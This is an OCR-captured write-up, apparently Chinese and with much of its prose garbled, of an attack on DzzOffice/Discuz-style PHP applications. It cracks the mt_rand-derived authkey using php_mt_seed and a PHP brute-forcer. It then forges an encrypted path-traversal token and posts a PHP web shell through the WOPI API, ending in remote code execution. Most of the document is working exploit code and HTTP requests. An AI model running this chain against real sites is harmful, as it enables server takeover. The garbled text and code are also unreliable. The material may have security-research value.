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random FFEE

AT AERXBRA install/index.php , X PNXHETHEE
ZEEWBshifkk, EERENEE, RAOHNEXERIN T 6
L‘@J T’?"Zﬂ];f:guﬂiﬂfﬁ—/l\jd&f—o

EMEIRRAE AR

$uid = 1 ;
$authkey =
substr(md5($_SERVER['SERVER_ADDR'].$_SERVER[ "HTTP_USER_AGE
NT'].$dbhost.$dbuser.$dbpw. $dbname. $pconnect. substr($times
tamp, 0, 6)), 8, 6).random(10);
$_config['db'][1]['dbhost'] = $dbhost;
$_config['db'][1]['dbname'] = $dbname;
$_config['db'][1]["'dbpw'] = $dbpw;
$_config['db'][1]['dbuser'] = $dbuser;
$_config['db'][1]["port'] = $port?$port:'3306";
$_config['db']J[1]['tablepre’'] = $tablepre;
$_config['admincp']['founder'] = (string)$uid;
$_config['security']['authkey'] = $authkey;
$_config['cookie']['cookiepre'] = random(4).'_";
$_config['memory']['prefix'] = random(6).'_";

XEBH) authkey 1 Cookie BIZREREIAFE random() RRENAERL T

—#8%

e authkey '@ B 6 fUR—iTE mds EHEELFRMN, B
T2 random RRENAERGAEY

e (Cookie : BIPUfZ random BY4ERLAY

BRI random() , TZRREU

T inctall/inclnde/inc#all finctian nhn *
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function random($length) {

$hash = '';

$chars =
' ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghi jklmnopgrstu
vwxyz';

$max = strlen($chars) - 1;

PHP_VERSION < '4.2.0' && mt_srand((double)microtime()
* 1000000);

for($1i = @; $i < $length; $i++) {

$hash .= $chars[mt_rand(@, $max)];
3

return $hash;

XEBH] random() KREL, IREEMENRZEO)AEIH Discuz —
B—i, SSEEWEM, FRERENSHEETE— " MFERLE
/Y

— TNVFIRR

o 7E PHP4.2.0 ZRIHIARA, HDAEES srandO)
gj mt_srand() 8 rand() EE mt_rand() ﬁ§$¢,

o 7£ PHP4.2.0 Z/GRIMRZA, BAFAIUAHEBEE srandO
3 mt_srandO EF. MEIZFE mt_randO , RASBEH
M.
o REI=HMWEM, REEMMFEERN 0-
2732(32 [URZ), XtFMUFthEem s

® PHP_VERSION < '4.2.0" && mt_srand((double)microtime() * 1000000);

RERBENTREREER

BATRI AR B T EE T #FRIES Demo NI :



function random($length) {

$hash = '';

$chars =
" ABCDEFGHIJKLMNOPQRSTUVWXYZ@123456789abcdefghijklmnopgrstu
vwxyz';

$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0" && mt_srand(123456);
mt_srand(123456);
for($1i = @; $i < $length; $i++) {
$hash .= $chars[mt_rand(@, $max)];
3

return $hash;

echo random(10);

) Restricted Mode is intended for safe code browsing, Trust this window to enable all features. Manage  Lea

mnopqrstuviyz” ;

AWindows\System32icmd. exe

aam
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BAIwiAE, EABANIFENSE.

ISE authkey AYIERETHE

BYERERPUAKREI—L authcode) FIIEEANX =, BN
[ERVEIRBEISBERENE ., X

f'—'F core/function/function_seccode.php

RBREUT:

dsetcookie('seccode'.$idhash,
authcode(strtoupper($seccode)."\t".(TIMESTAMP -
180)."\t".$idhash."\t" .FORMHASH, 'ENCODE', $_G['config']
['security']['authkey']), 0, 1, true);
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w_len = 10
result =
str_list =

"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqgrstu

vwxyz"

nn

length = len(str_list)

for i in range(w_len):

result
result
result
result
result
result

+=

sstr = "gGyk"

for i in sstr:

result
result
result
result
result
result
result

print(result)

result: @ 61 0@ 61 0@ 61 0@ 61 0 61 0 61 @ 61 0 61 0 61 @ 61 0
61 0 61 0 61 0 61 0 61 0 61 0 61 @ 61 @ 61 @ 61 42 42 0 61

ll@ n
str(length-1)
"0 "

str(length - 1)

str(str_list.index(i))

str(str_list.index(i))
|l® "
str(length - 1)

660 61 60 60 0 61 46 46 0 61

A A RT BERYARF 30

|

# ./php_mt_seed © 61 @ 61 0 61 @8 61 © 61 0 61 6 61 @ 61 0 61 0 61 6 61 0
61 0 61 0 61061 061061061L0G61L0G614242061660 61606006146 46 0 61 >seed. txt
Found 311, trying 4261412864 - 4294967295, speed 60833873 seeds per second
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<?php

$pre = 'gGyk';

$seccode = substr('gGyk_2132_seccodeST@9ZLed', -8);
$string = '2121YXrez2Rb_00AasWICQZdtAIMZHTcnua-
PmShhMGHL f rWTtXnAkbg42XcqrY94rVDphUTYWnaK90X9m@' ;

$seeds = explode("\n", file_get_contents('seed.txt'));

for ($1 = 0; $1 < count($seeds); $i++) {
if(preg_match('/= (\d+) /', $seeds[$i], $matach)) {
mt_srand(intval($matach[1]));
$authkey = random(10);
echo $authkey;
if(random(4) == $pre){
echo "trying $authkey...\n";
$res = crack($string, S$authkey, $seccode);

if($res) {
echo "authkey found: ".$res;
exit(Q);

3

}

function crack($string, $authkey, $seccode) {
$chrs = '1234567890@abcdef';
for ($a = 0; $a < 16; $a++) {
for (§b = @; $b < 16; $b++) {
for ($c = 0; $c < 16; $c++) {
for ($d = 0; $d < 16; $d++) {
for ($e = 0; $e < 16; $e++) {
for ($f = 0; $f < 1o; $f++) {
$key =
$chrs[$a].$chrs[$b].$chrs[$c].$chrs[$d].$chrs[$e].$chrs[$f
1.%authkey;
$result =
authcode_decode($string, $key);
if (strpos($result,
"\t$seccode\t")) {
return $key;
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}

return false;

}

function authcode_decode($string, $key) {
$key = md5($key);
$ckey_length = 4;
$keya = md5(substr($key, 0, 16));
$keyc = substr($string, @, $ckey_length);

$cryptkey = $cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = base64_decode(substr(str_replaceCarray('_",
-y, array('/", '+'), $string), $ckey_length));
$string_length = strlen($string);

$result = '';
$box = range(@, 255);

$rndkey = arrayQ);
for ($1 = 0; $1 <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_lengthl);
3

for ($j = $1i = 0; $i < 256; $i++) {
$ = ($7 + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;

for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$5 = ($j + $box[$al) % 256;
$tmp = $box[$al;
$box[$a] = $box[$7];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]1) A ($box[($box[$a]
+ $box[$31) % 2561));
ks

return $result;

}

function random($length) {

$hash = '';

$chars =
' ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqgrstu
vwxyz';

$max = strlen($chars) - 1;

for($1i = @; $i < $length; $i++) {

$hash .= $chars[mt_rand(@, $max)];
ks

return $hash;
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<?php

function authcode_config($string, $key, $operation =
'"DECODE', $expiry = @)

{

$ckey_length = 4;

$key = md5($key);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ?
substr($string, 0@, $ckey_length): substr(md5(microtime()),
-$ckey_length)) : '';

$cryptkey = $keya.md5($keya.S$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ?
base64_decode(substr($string, $ckey_length)) :
sprintf('%010d', $expiry ? $expiry + time() :
@) .substr(md5($string.$keyb), @, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(@, 255);

$rndkey = arrayQ);

for($i = @; $i <= 255; $i++) {

$rndkey[$1] = ord($cryptkey[$i % $key_length]);
3

for($j = $i = 0; $i < 256; $i++) {
$3 = (% + $box[$1i] + $rndkey[$i]) % 256;
$tmp = $box[$i];

$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $1 = @; $i < $string_length; $i++) {
$a = ($a + 1) % 256;

$3 = ($j + $box[$al) % 256;

$tmp = $box[$al;

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]1) A ($box[($box[$a]l +
$Shox'$11Y % 2561)):



..... LrUds v ==~

}

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10)
- time() > @) && substr($result, 10, 16) ==
substr(md5(Csubstr($result, 26).%$keyb), @, 16)) {

return substr($result, 26);

} else {

return '';

ks

} else {

return $keyc.str_replace('="', "', base64_encode($result));
ks

ks

echo
base64_encode(authcode_config("disk::..././..././..././she
11.php" ,md5(C"'3ccd48TRCABUONND '), "ENCODE"));

X1jVGIaMVFnSWINVENZR1U=
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POST /dzz/core/api/wopi/index.php?
access_token=1&action=contents&path=Y2RhNU15N@9ZVW8vaGNkV@
tEcU19Zzc@ObGtLWGLIVXZEd]jY3eUxmaXFiR3k1VDhtNUIXSFZnZHF1Y3I1
VGZCcmtDNX1jVGIaMVFNSWINVENZzR1U= HTTP/1.1

Host: localhost

sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: 70

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, 1like Gecko)
Chrome/88.0.4324.150 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,1imag
e/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;g0=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookie: gGyk_2132_saltkey=xkBk27da;
gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T@9ZLe;
gGyk_2132_lastact=1658363412%09misc.php%@9seccode;
gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasWICQZdtAIMZHTc
nua-PmShhMGHL f riWTtXnAkbg42XcqrY94rVDphUTYWnaK90X9m@
Connection: close

Content-Length: 18

Content-Type: application/x-www-form-urlencoded

<?php phpinfo();?>

t  Prog  Intruder  Repester  Sequencer  Decoder  Comparer  Edender  Projectoptions  User options

FRlEas Taret weiccsost 2 (2)

oLl
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IR E R shell.php BNE] RCE

POST /dzz/shell.php HTTP/1.1

Host: localhost

sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: 70

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/88.0.4324.150 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;qg=0.9,1imag
e/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookie: gGyk_2132_saltkey=xkBk27da;
gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T@9ZLe;
gGyk_2132_lastact=1658363412%09misc.php%@9seccode;
gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasWICQZdtAIMZHTc
nua-PmShhMGHL f riWTtXnAkbg42XcqrY94rVDphUTYWnak90X9m@
Connection: close

Content-Length: 18

Content-Type: application/x-www-form-urlencoded

<?php phpinfo();?>

Target g/ Tocatvest 2 (D)
a==
ponse
ety v (D Acions v

PHP Version 5.4.45 @

oLl
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